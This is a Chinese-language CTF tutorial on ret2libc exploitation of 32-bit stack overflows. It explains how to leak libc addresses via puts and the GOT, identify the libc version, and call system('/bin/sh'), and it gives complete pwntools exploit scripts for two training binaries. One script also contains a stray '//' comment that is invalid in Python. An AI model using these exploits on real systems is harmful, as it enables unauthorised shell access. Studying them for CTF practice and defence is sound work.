stackoverflow之ret2libc-1

binary3

image-20191206201604050

32位binary,开启NX和Partial RELR0保护机制。

image-20191206201512893

没有system函数和字符串/bin/sh

1、IDA

image-20191206202123258

binary中存在溢出点,溢出空间为112。

2、libc

libc是C语言库。而libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版。

libc.so 中包含了大量的可以利用的函数,包括system()、execve()等系统级函数和字符串/bin/sh

既然binary中没有system函数和字符串/bin/sh,那么可以考虑将通过泄露出libc.so中system和/bin/sh的地址,然后劫持控制流执行system('/bin/sh'),即可达到getshell目的。

3、libc.so-version

如何泄露出libc.so中system和/bin/sh的地址?libc.so具有以下特性:

  • libc.so 动态链接库中的函数之间相对偏移固定。
  • 每个函数的地址最低的12位并不会发生改变。(即便开启PIE)

search libc.so:

https://github.com/niklasb/libc-database

https://libc.blukat.me/

由此,可以通过泄露出某个函数地址,然后通过最低12位来确定libc.so的版本,进而确定system和/bin/sh的地址。

4、link-function-addr

如何泄露出libc.so中system和/bin/sh的地址?我们知道,libc延迟绑定机制会形成got表项,got表项中会含有已经执行过的函数的地址。

所以我们可以通过劫持控制流到got表中特定的函数,泄露出其在内存中的地址,同时通过最低12位来确定libc.so的版本确定其在libc.so中的地址和system和/bin/sh的地址,最后计算出固定的相对偏移量,再计算出system和/bin/sh的真实地址。

5、pwn

image-20191207030157529

6、exploit

libc.so-version:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
offset = 112
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_plt_addr = elf.symbols['_start']//程序最初执行地址。
payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr])
p.sendlineafter('?',payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

image-20191207023018038

image-20191207023359675

1
2
3
system_libc_addr = 	0x03ada0
puts_libc_addr = 0x05fca0
str_bin_sh = 0x15ba0b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
offset = 112
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_plt_addr = elf.symbols['_start']
payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr])
p.sendlineafter('?',payload)
puts_addr = u32(p.recv()[0:4])

system_libc_addr = 0x03ada0
puts_libc_addr = 0x05fca0
str_bin_sh = 0x15ba0b

libc_base_addr = puts_addr - puts_libc_addr
system_addr = libc_base_addr + system_libc_addr
binsh_addr = libc_base_addr + str_bin_sh
payload1 = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr])
p.sendline(payload1)
p.interactive()

image-20191207024743608

train.cs.nctu.edu.tw: ret2libc

1、checksec

image-20191207030438537

开启NX和Partial RELR0,同时泄露出/bin/shputs的地址。

image-20191207031106045

binary中没有system的地址。

2、IDA

image-20191207031213696

溢出空间=0x14+4+4+4=32。

3、pwn

image-20191207032133227

4、exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import LibcSearcher
offset = 32
p = process('./ret2libc')
p.recvuntil('is ')
binsh_addr = int(p.recvuntil('\n'),16)
print hex(binsh_addr)
p.recvuntil('is ')
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
libc_base_addr = puts_addr - libc.dump('puts')
system_addr = libc_base_addr + libc.dump('system')

payload = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr])
p.sendline(payload)
p.interactive()

image-20191207033252435

reference

github-ctf-wiki